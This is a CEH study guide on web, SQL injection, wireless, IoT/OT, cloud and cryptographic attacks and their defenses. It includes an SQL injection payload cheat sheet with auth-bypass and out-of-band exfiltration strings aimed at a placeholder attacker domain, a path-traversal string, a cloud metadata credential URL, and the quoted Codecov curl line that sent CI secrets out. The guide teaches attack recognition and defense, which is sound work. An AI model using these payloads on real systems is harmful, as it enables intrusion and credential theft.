CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto

CEH Domain 3.C: Application, Web, Cloud, IoT & Crypto

CEH v12/v13 sub-domain 3.C covers everything above the OS/network layer: web apps, SQL backends, wireless, mobile/IoT/OT, cloud, and the cryptography that protects (or fails to protect) them. The lesson from 2014-2025 is that adversaries overwhelmingly win through well-known weakness classes, not zero-days.

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3.C.1 Web Server & Web Application Attacks

OWASP Top 10 - 2021 vs 2025

The OWASP Top 10:2021 is the current industry baseline. The Top 10:2025 (RC published November 2025 at Global AppSec DC; final within 3-6 months) shifts the order and adds two categories.

#	2021 Category	Representative Attack	Tooling
A01	Broken Access Control	IDOR, force browsing, JWT tampering	Burp Suite, OWASP ZAP, ffuf
A02	Cryptographic Failures	Cleartext storage, weak TLS, predictable tokens	testssl.sh, sslyze, OpenSSL
A03	Injection (SQLi, NoSQLi, LDAP, OS cmd, XSS)	' OR 1=1--, template injection	sqlmap, Burp, ZAP
A04	Insecure Design	Missing rate limiting, no threat model	Manual review, threat modeling
A05	Security Misconfiguration	Verbose errors, default creds, XXE	Nikto, nmap, ZAP
A06	Vulnerable & Outdated Components	Log4Shell, Spring4Shell	Snyk, OWASP Dependency-Check
A07	Identification & Auth Failures	Credential stuffing, weak passwords	Hydra, Burp Intruder
A08	Software & Data Integrity Failures	Insecure deserialization, unsigned updates (SolarWinds)	Sigstore, SBOM diff
A09	Security Logging & Monitoring Failures	No alerting, slow MTTD	Splunk, Sigma rules
A10	SSRF	http://169.254.169.254/... (Capital One)	SSRFmap, Burp Collaborator

2025 deltas: A02 Security Misconfiguration jumps from #5 to #2; A03 is now Software Supply Chain Failures (expanding 2021’s Vulnerable Components); SSRF is folded into A01 as outbound authorization; A10 is new - Mishandling of Exceptional Conditions. A07 is renamed “Authentication Failures” with explicit guidance to prefer phishing-resistant MFA (WebAuthn, passkeys) over TOTP/SMS.

Key takeaway: the three most exam-relevant 2021→2025 deltas are SSRF (Capital One), Insecure Design (threat modeling), and Software Supply Chain (Codecov, SolarWinds).

Web-server-class attacks (not application logic)

• Path traversal - ../../etc/passwd
• HTTP response splitting - CRLF injection into headers
• HTTP request smuggling - desync between front-end proxy and back-end via Transfer-Encoding/Content-Length disagreement
• Web cache poisoning - cache stores a poisoned response keyed to a victim URL
• IIS/Apache/nginx misconfigs - HTTP PUT enabled, .htaccess overrides, default CGI

Tools: Burp Suite (proxy/repeater/intruder), OWASP ZAP (DAST), Nikto (server fingerprint + known-bad paths), sqlmap, wfuzz and ffuf (parameter fuzzing). Common stacks LAMP, WAMP, MEAN, .NET, Django share the same weakness classes - PHP path traversal, Node prototype pollution, .NET deserialization, Django debug mode.

Cross-cutting issues: XSS (Reflected / Stored / DOM - context-aware output encoding + CSP), CSRF (anti-CSRF tokens + SameSite cookies), IDOR (per-record server-side authz), XXE (disable DTD/external entities), SSRF (egress allow-list + IMDSv2 + network segmentation).

Source: https://owasp.org/Top10/2021/A00_2021_Introduction/ ; https://owasp.org/Top10/2025/0x00_2025-Introduction/ ; https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/ ; https://owasp.org/Top10/2021/A03_2021-Injection/

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3.C.2 SQL Injection

OWASP’s Web Security Testing Guide classifies SQLi into three classes and five exploitation techniques:

Class	Technique	How it works	Indicator
In-band	Error-based	DBMS error contains data	' → 500 / XPATH syntax error
In-band	UNION-based	Inject UNION SELECT to append rows	Column-count match; result in page
Inferential (Blind)	Boolean	AND 1=1 vs AND 1=2	True page vs false page
Inferential (Blind)	Time-based	SLEEP(5), WAITFOR DELAY, pg_sleep	Response time
Out-of-band (OAST)	OOB	DB makes DNS/HTTP to attacker (e.g. xp_dirtree, UTL_HTTP)	DNS callback to attacker domain

Authentication bypass is the canonical first proof. Legacy payloads: admin' OR '1'='1'--, admin'--, ' OR 1=1 LIMIT 1;--. Modern apps hash passwords, so a UNION-based bypass must supply the hash format the app expects - e.g. UNION SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055' with the MD5 of an attacker-chosen password.

Payload cheat sheet:

Goal	MySQL	MSSQL	PostgreSQL	Oracle
Comment out	-- or #	--	--	--
Stack queries	Limited	; allowed	; allowed	; allowed
Force delay	SLEEP(5)	WAITFOR DELAY '0:0:5'	pg_sleep(5)	dbms_pipe.receive_message
Read file	LOAD_FILE()	OPENROWSET(BULK ...)	pg_read_file()	UTL_FILE
OOB exfil	LOAD_FILE(CONCAT('\\\\',user,'.attacker.tld\\a'))	xp_dirtree '\\\\attacker.tld\share'	dblink	UTL_HTTP.REQUEST

Tools: sqlmap (industry standard - automates detection/exploitation across all classes, supports tamper scripts for WAF bypass), jSQL Injection (Java GUI), Havij (point-and-click, Windows). WAF bypasses use comment toggling (/**/), case toggling, double-URL encoding, and equivalent operators (|| for OR).

Key takeaway: in 2025, ' OR 1=1–` rarely logs you in as anyone - the app compares hashes, not plaintext. A successful auth bypass via UNION must supply a credential column whose hash matches the hash of a password you chose.

Source: https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection ; https://portswigger.net/web-security/sql-injection/blind ; https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md ; https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet

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3.C.3 Wireless Attacks

802.11 protocol weaknesses

• WEP - 24-bit IV; with ~40k-85k captured packets the PTW attack recovers a 128-bit key. Tools: airodump-ng + aireplay-ng ARP-replay injection, then aircrack-ng PTW/KoreK statistical recovery.
• WPA/WPA2-PSK - only vulnerable to offline dictionary attack against a captured 4-way handshake. Handshake captured passively or accelerated with an aireplay-ng -0 deauth flood. A 12+ character random passphrase is computationally infeasible to crack.
• KRACK (2017, CVE-2017-13077…13088) - Key Reinstallation Attack against the 802.11i 4-way handshake. The attacker forces a nonce reset by replaying message 3. Against AES-CCMP this enables packet decryption (not forgery); against TKIP/GCMP, full forgery. On Android 6.0+ with wpa_supplicant 2.4+ the attack installs an all-zero encryption key - catastrophic.
• WPA3 / Dragonblood (2019) - Dragonfly/SAE was designed to defeat offline dictionary attacks. Vanhoef and Ronen found timing and cache side channels in the hash-to-element code path that leak password bits, plus downgrade-to-WPA2 attacks in transition mode. Brute-forcing a 10^10-entry dictionary on AWS GPU costs < $1.

Access attacks

• Evil twin - same-SSID rogue AP; clients associate to strongest signal.
• Rogue AP - unauthorized AP on the corporate LAN, bypassing NAC.
• Deauthentication / disassociation - management-frame flood; used to capture WPA handshakes and DoS.
• Wi-Fi phishing - captive portal or WPA-Enterprise credential capture (hostapd-wpe).

Tools: Aircrack-ng suite, Wifite, BetterCAP, Kismet, Wifiphisher.

Bluetooth attacks

Attack	Vector	Impact
BlueSmack	L2CAP echo with oversized payload	DoS (ping-of-death)
BlueJacking	Send OBEX/vCard message	Spam, phishing lure
BlueSnarfing	OBEX PULL of telecom/pb.vcf etc.	Theft of contacts, calendar, IMEI
BlueBugging	AT-command backdoor	Full device control, call/SMS interception
BlueBorne (2017)	8 CVEs across L2CAP/SDP/BNEP/LEAP - Linux/Android/Windows/iOS	Wormable RCE, no user interaction

Source: https://www.krackattacks.com/ ; https://papers.mathyvanhoef.com/ccs2017.pdf ; https://eprint.iacr.org/2019/383 ; https://media.armis.com/pdfs/wp-blueborne-bluetooth-vulnerabilities-en.pdf ; https://www.aircrack-ng.org/doku.php?id=simple_wep_crack

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3.C.4 Mobile, IoT & OT Attacks

Mobile (Android & iOS)

The OWASP Mobile Top 10 (2024) ranks: M1 Improper Credential Usage, M2 Inadequate Supply Chain, M3 Insecure Auth, M4 Insufficient I/O Validation, M5 Insecure Communication, M6 Inadequate Privacy, M7 Insufficient Binary Protections, M8 Misconfiguration, M9 Insecure Data Storage, M10 Insufficient Cryptography.

Aspect	Android	iOS
Distribution	Play Store + third-party + sideload	App Store (EU DMA third-party marketplaces since 2024)
App isolation	Linux UID + SELinux sandbox	iOS appsandbox (Seatbelt) at kernel
Code signing	APK signature; Play Integrity attestation	Apple-mandatory signature + FairPlay
Patching	Fragmented (manufacturer/carrier)	Unified by Apple
Rooting/jailbreak	Disables SELinux + sandbox	Disables code signing, weakens Secure Enclave

Zimperium’s 2025 report: 23.5% of enterprise devices have sideloaded apps; 54% of iOS threats are mishing (SMS phishing). Defense: MDM (device policy + remote wipe + jailbreak detection), MAM (app containerization, per-app VPN), MTD (on-device network/app detection). A hardened app on a rooted device is still untrusted - device attestation is non-negotiable.

IoT - Mirai as the canonical case

Mirai (2016) infected ~65,000 IoT devices in its first 20 hours, peaked at 200k-600k. Strategy:

1. Stateless SYN scan of pseudo-random IPv4 on TCP/23 and TCP/2323.
2. On a hit, brute-force Telnet with a 62-entry dictionary of well-known default credentials (root:xc3511 XiongMai, root:vizxv Dahua, admin:admin).
3. Loader logs in, determines CPU arch, downloads a cross-compiled bot binary (ARM, MIPS, PowerPC, SPARC, SH4, m68k, x86).
4. Bot kills competing processes, awaits CnC commands.

High-profile impact: Krebs on Security (~620 Gbps), OVH (~1 Tbps), Dyn DNS (Twitter/GitHub/Reddit offline, October 2016), Deutsche Telekom (~1M routers disrupted, November 2016). Variants - Satori, Okiru, Mukashi, Moobot, Sonic - add new exploits while keeping the Telnet brute-forcer. Other vectors: Shodan/Censys exposure of management UIs; MQTT (port 1883) without auth; CoAP (port 5683) over UDP without DTLS; default credentials remain dominant.

OT / ICS

OT risk profile differs from IT: decades-long equipment lifetimes, protocols insecure by design (no auth, no integrity), patching constrained by safety/availability, compromise can mean physical destruction or loss of life.

Purdue Model: L0 sensors/actuators → L1 PLCs/RTUs → L2 HMI/SCADA → L3 IT/OT DMZ → L4 enterprise → L5 internet/cloud. The L3 DMZ is the most defended boundary.

Protocols: Modbus (1979, no auth), DNP3 (SCADA, secure auth v2 add-on), IEC-60870-5-104 (European grid), OPC-UA (modern but misconfigurable), Profinet/EtherNet/IP, Siemens S7Comm.

The seven known ICS-specific malwares:

Year	Malware	Target	Impact
2010	Stuxnet	Siemens S7-300/400 at Natanz	~1,000 centrifuges destroyed; 4 zero-days, signed driver theft, WinCC P2P
2014	Havex	European/NA energy, SCADA vendors	RAT in legitimate ICS software; OPC enum
2015	BlackEnergy2	Ukrainian power	Spear-phishing → VPN abuse → HMI control; 3 oblenergos blacked out 6h
2016	Industroyer	Ukrainian grid (Kyiv)	First malware for grid protocols (IEC 101/104, 61850, OPC); 1 substation offline
2017	TRITON/TRISIS	Triconex SIS (Schneider), Saudi petrochemical	Targeted Safety Instrumented System - could have blocked safety shutdown
2022	Industroyer2	Ukrainian energy (high-voltage)	Sandworm; IEC-104 wiper; foiled pre-impact
2022	PIPEDREAM/INCONTROLLER	Schneider Modicon/Nano, Omron Sysmac NJ/NX, CODESYS, OPC-UA	Dragos CHERNOVITE; first ever caught before deployment

Unique OT attack vectors for CEH: legacy unauthenticated protocols, inability to run AV, safety-criticality - anyone who can speak Modbus to a PLC can usually read/write any register once authenticated.

Source: https://attack.mitre.org/software/S0603/ ; https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_ChernoviteWP_v2b.pdf ; https://zambo99.github.io/publication/industroyer2_incontroller2022/ ; https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf ; https://owasp.org/www-project-mobile-top-10/ ; https://lp.zimperium.com/hubfs/Reports/2025%20Global%20Mobile%20Threat%20Report.pdf

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3.C.5 Cloud Computing Attacks

Models and shared responsibility

• Service models: IaaS (customer owns OS/app/data), PaaS (provider owns runtime), SaaS (provider owns almost everything).
• Deployment: public, private, hybrid, community.
• Shared responsibility: provider secures of the cloud; customer secures in the cloud. The line moves depending on the service model. Capital One is the canonical misunderstanding.

Threat classes

Threat	Cloud-specific aspect	Canonical incident
Storage misconfiguration	Public S3 / Azure Blob / GCS	Accenture, Verizon, US voter records, Twitch
IAM privilege escalation	Over-broad roles; instance profile abuse	Capital One 2019 - ISRM-WAF-Role with S3 list/read on 700+ buckets
Metadata service abuse (SSRF → IMDSv1)	http://169.254.169.254/ returns STS creds unauthenticated	Capital One 2019 - caused AWS to ship IMDSv2
Insecure APIs / token theft	CI/CD secrets, OIDC trust	Codecov 2021 - every customer’s CI env vars exfiltrated
Container/orchestration	Unauthenticated K8s dashboard, privileged pods, RBAC misconfig	Tesla 2018 - K8s console with no password; cryptojacked
Cloud malware injection	Web shell, cryptominers via public images	Tesla 2018 - Stratum Monero miner
Cloud-native supply chain	Compromised build artifact	SolarWinds 2020, Codecov 2021

Capital One (2019) - SSRF → IMDSv1

1. ModSecurity WAF on EC2 was misconfigured (logging-only / bypassable). The attacker sent crafted requests that the WAF relayed to itself.
2. The WAF was pointed at http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role.
3. IMDSv1 returned STS credentials for the attached role - no auth required.
4. The role was over-provisioned: list + read on 700+ S3 buckets. ~30 GB / 106 M records exfiltrated.
5. No GuardDuty, no S3 access-log monitoring - 77-day dwell time.

Fix: IMDSv2 (PUT to obtain a session token, then include the token on GET; refuses tokens for PUT with X-Forwarded-For; IP hop count of 1). Enforce via Service Control Policy. AWS shipped IMDSv2 in November 2019 in direct response to this breach.

Tesla (2018) - Kubernetes cryptojack

RedLock scanning for exposed cloud infra found an unauthenticated Kubernetes admin console. A pod inside contained AWS creds in env vars, giving S3 access. The attacker deployed a Stratum Monero miner hidden behind Cloudflare, on a non-standard port, with throttled CPU to avoid detection. No customer data loss reported, but the canonical “console exposed + creds in env vars = cloud compromise.”

Codecov (2021) - build-tool supply chain

Codecov’s Bash Uploader was modified Jan 31 to Apr 1 2021 by an attacker who extracted a GCS key from a Docker image’s intermediate layer. The modified script appended curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://attacker/upload/v2 || true - exfiltrating every secret in every customer’s CI environment. >29,000 enterprise customers potentially affected. Replaced with a signed, SHASUM-verifiable binary.

Cloud security tooling

Tool	Status (2026)	Best for
Prowler	Actively maintained; 600+ AWS checks, 44 compliance frameworks	AWS-first compliance scanning
ScoutSuite	Last release May 2024; abandoned	Avoid for new projects
CloudSploit	Acquired by Aqua; minimal updates	Oracle Cloud only
kube-hunter, kube-bench	Active	Kubernetes CIS benchmark
Pacu	Active	AWS exploitation framework (post-foothold)
CloudTrail / GuardDuty	AWS native	Audit + threat detection

Key takeaway: the three cloud breaches you must know in detail are Capital One (SSRF+IMDSv1+over-privileged IAM), Tesla (K8s console + creds in env vars), and Codecov (build-tool supply chain). Controls that defeat all three: enforce IMDSv2, least-privilege IAM, locked-down K8s RBAC, signed build artifacts.

Source: https://techearl.com/capital-one-breach-ssrf ; https://csoh.org/breaches/capital-one.html ; https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/ ; https://about.codecov.io/security-update/ ; https://about.codecov.io/apr-2021-post-mortem/

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3.C.6 Cryptography

Algorithm cheat table

Algorithm	Type	Key / Output	Effective Strength	Typical Use	Status
DES	Symmetric block	56-bit	Broken (< 1999)	Legacy	Do not use
3DES (TDEA)	Symmetric block	112/168-bit	Deprecated (Sweet32)	Legacy TLS	Deprecated
AES-128	Symmetric block (SPN)	128-bit key, 128-bit block, 10 rounds	128-bit (secure)	TLS, disk, file	Recommended
AES-256	Symmetric block	256-bit key, 14 rounds	256-bit (post-quantum hedge)	Top-secret, FDE	Recommended
Blowfish	Symmetric block	32-448-bit key, 64-bit block	64-bit block is the weak link	Legacy	Avoid for new design
Twofish	Symmetric block	128-256-bit	128-256-bit	AES finalist; OpenPGP	Acceptable
RC4	Symmetric stream	40-2048-bit	Broken (biases)	Legacy WEP/TLS	Forbidden
RSA	Asymmetric	Modulus ≥ 2048-bit (NIST min for ≥ 112-bit)	2048=112, 3072=128, 4096≈150	Key transport, signatures	Recommended ≥ 2048; plan post-quantum
Diffie-Hellman (DH)	Key agreement	Group ≥ 2048-bit	112-bit at 2048	TLS key agreement	Use DH-2048+ or ECDH
ECC (ECDH, ECDSA)	Asymmetric	P-256=128, P-384=192, P-521≈256	Matches RSA at smaller key	TLS, mobile, IoT	Recommended
ElGamal	Asymmetric	Variable	Comparable to DH	Legacy PGP variants	Rare
MD5	Hash	128-bit	Broken (collision trivial)	Legacy integrity	Do not use
SHA-1	Hash	160-bit	Broken (SHAttered, 2017)	Legacy code signing, Git	Do not use for signatures
SHA-256	Hash (SHA-2)	256-bit	128-bit collision, 256-bit preimage	TLS, code signing, Bitcoin	Recommended
SHA-384	Hash (SHA-2)	384-bit	192-bit	High-security TLS	Recommended
SHA-512	Hash (SHA-2)	512-bit	256-bit	High-assurance, fast on 64-bit	Recommended
SHA-3 (Keccak)	Hash (sponge)	224/256/384/512	Same as SHA-2 equivalent	NIST FIPS 202 alternative	Recommended
RIPEMD-160	Hash	160-bit	~80-bit collision	Bitcoin address derivation	Legacy

NIST targets (SP 800-131A Rev. 2): 112 bits until 2030, then 128. AES-128 / SHA-256 / RSA-3072 / ECDSA P-256 all hit the 128-bit target.

PKI

• X.509 certificates bind a public key to an identity, signed by a CA.
• Chain of trust - root CA → intermediate CA → leaf.
• Revocation: CRL (periodically downloaded) and OCSP (real-time query); OCSP stapling improves performance.
• Certificate Transparency (CT) logs are now required for browser-trusted public certs to detect mis-issue.

Cryptographic attacks

Attack	Description	Defeated by
Brute force	Try every key	≥ 128-bit key
Birthday	Find hash collision in ~2^(n/2)	≥ 256-bit hash for collision resistance
Man-in-the-middle	Intercept and relay	Authenticated key exchange, cert pinning, HSTS
Known-plaintext	Recover key from pairs	AES is not practically vulnerable
Chosen-ciphertext	Submit chosen CT, observe decryption	AEAD (AES-GCM, ChaCha20-Poly1305)
Side-channel	Power/timing/cache/EM	Constant-time code, masking
Downgrade	Force weakest protocol/cipher	TLS 1.3; TLS_FALLBACK_SCSV
Padding oracle	Observe padding error	AEAD; constant-time decryption
Replay	Resend captured message	Nonces, timestamps, session IDs

Named protocol attacks - one-sentence recall:

• POODLE (CVE-2014-3566) - SSLv3 CBC padding not authenticated; byte-by-byte cookie decryption.
• BEAST (2011) - chosen-plaintext attack on TLS 1.0 CBC.
• Lucky13 (2013) - timing side-channel on CBC padding validation.
• Heartbleed (CVE-2014-0160) - OpenSSL buffer over-read; leaked server private keys.
• Logjam (2015) - 512-bit export-grade DH allows MITM.
• ROBOT (2017) - RSA PKCS#1 v1.5 padding oracle in TLS.

Email & disk encryption

• Email: PGP / OpenPGP (web of trust, hybrid encryption) and S/MIME (X.509-based, corporate).
• Disk / FDE: BitLocker (Windows, AES-128/256 XTS, TPM-bound), FileVault 2 (macOS, AES-XTS), LUKS (Linux, dm-crypt + AES). FDE only protects data at rest when the device is powered off - running machines have keys in memory.

Tools: OpenSSL (workhorse - s_client, genrsa, req, x509, enc, dgst), GnuPG (OpenPGP), age (modern file encryption), HashiCorp Vault (secrets + envelope encryption + HSM/KMS).

Key takeaway: AES-128 is the floor for symmetric security, SHA-256 for hashing. NIST finalized post-quantum standards in 2024 - ML-KEM (Kyber) FIPS 203, ML-DSA (Dilithium) FIPS 204, SLH-DSA (SPHINCS+) FIPS 205 - and “harvest now, decrypt later” makes PQC migration urgent for long-lived data.

Source: https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-131ar2.pdf ; https://csrc.nist.gov/projects/Hash-Functions ; https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.197-upd1.pdf ; https://www.imperialviolet.org/2014/10/14/poodle.html ; https://cdn1.vox-cdn.com/uploads/chorus_asset/file/2354994/ssl-poodle.0.pdf

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Sources

1. OWASP Top 10:2021 Introduction - https://owasp.org/Top10/2021/A00_2021_Introduction/
2. OWASP Top 10:2025 - https://owasp.org/Top10/2025/0x00_2025-Introduction/
3. OWASP A01:2021 Broken Access Control - https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/
4. OWASP A03:2021 Injection - https://owasp.org/Top10/2021/A03_2021-Injection/
5. OWASP Web Security Testing Guide - SQL Injection - https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection
6. PortSwigger Web Security Academy - Blind SQL Injection - https://portswigger.net/web-security/sql-injection/blind
7. PayloadsAllTheThings - SQL Injection README - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/README.md
8. Invicti SQL Injection Cheat Sheet - https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet
9. Vanhoef & Piessens - Key Reinstallation Attacks (CCS 2017) - https://papers.mathyvanhoef.com/ccs2017.pdf
10. KRACK Attacks paper site - https://www.krackattacks.com/
11. CERT/CC VU#228519 - WPA2 key reinstallation - https://web.archive.org/web/20171018113511/http:/www.kb.cert.org/vuls/id/228519
12. Vanhoef & Ronen - Dragonblood (WPA3 / Dragonfly) - https://eprint.iacr.org/2019/383
13. Armis - BlueBorne white paper - https://media.armis.com/pdfs/wp-blueborne-bluetooth-vulnerabilities-en.pdf
14. CERT/CC VU#240311 - BlueBorne - https://kb.cert.org/vuls/id/240311
15. Aircrack-ng WEP cracking - https://www.aircrack-ng.org/doku.php?id=simple_wep_crack
16. Antonakakis et al. - Understanding the Mirai Botnet (USENIX Security 2017) - https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-antonakakis.pdf
17. Dragos - PIPEDREAM / CHERNOVITE white paper - https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_ChernoviteWP_v2b.pdf
18. Zambon - Industroyer2 & INCONTROLLER (2022) - https://zambo99.github.io/publication/industroyer2_incontroller2022/
19. MITRE ATT&CK - Stuxnet (S0603) - https://attack.mitre.org/software/S0603/
20. OWASP Mobile Top 10 (2024) - https://owasp.org/www-project-mobile-top-10/
21. Zimperium - 2025 Global Mobile Threat Report - https://lp.zimperium.com/hubfs/Reports/2025%20Global%20Mobile%20Threat%20Report.pdf
22. CSOH - Capital One breach kill chain - https://csoh.org/breaches/capital-one.html
23. Tech-Earl - Capital One: SSRF and the AWS Metadata Service - https://techearl.com/capital-one-breach-ssrf
24. ACM - A Systematic Analysis of the Capital One Data Breach - https://dl.acm.org/doi/10.1145/3546068
25. Wired - Tesla cloud used for cryptojacking - https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/
26. Codecov - Bash Uploader Security Update - https://about.codecov.io/security-update/
27. Codecov - Post-Mortem / Root Cause Analysis - https://about.codecov.io/apr-2021-post-mortem/
28. Rapid7 - Analysis of the Codecov Supply Chain Compromise - https://www.rapid7.com/blog/post/2021/04/16/codecov-discloses-supply-chain-compromise/
29. NIST SP 800-131A Rev. 2 - Cryptographic Algorithm Transitions - https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-131ar2.pdf
30. NIST CSRC - Hash Functions - https://csrc.nist.gov/projects/Hash-Functions
31. NIST FIPS 197 - Advanced Encryption Standard - https://nvlpubs.nist.gov/nistpubs/fips/nist.fips.197-upd1.pdf
32. ImperialViolet - POODLE attacks on SSLv3 - https://www.imperialviolet.org/2014/10/14/poodle.html
33. Möller, Duong, Kotowicz - This POODLE Bites - https://cdn1.vox-cdn.com/uploads/chorus_asset/file/2354994/ssl-poodle.0.pdf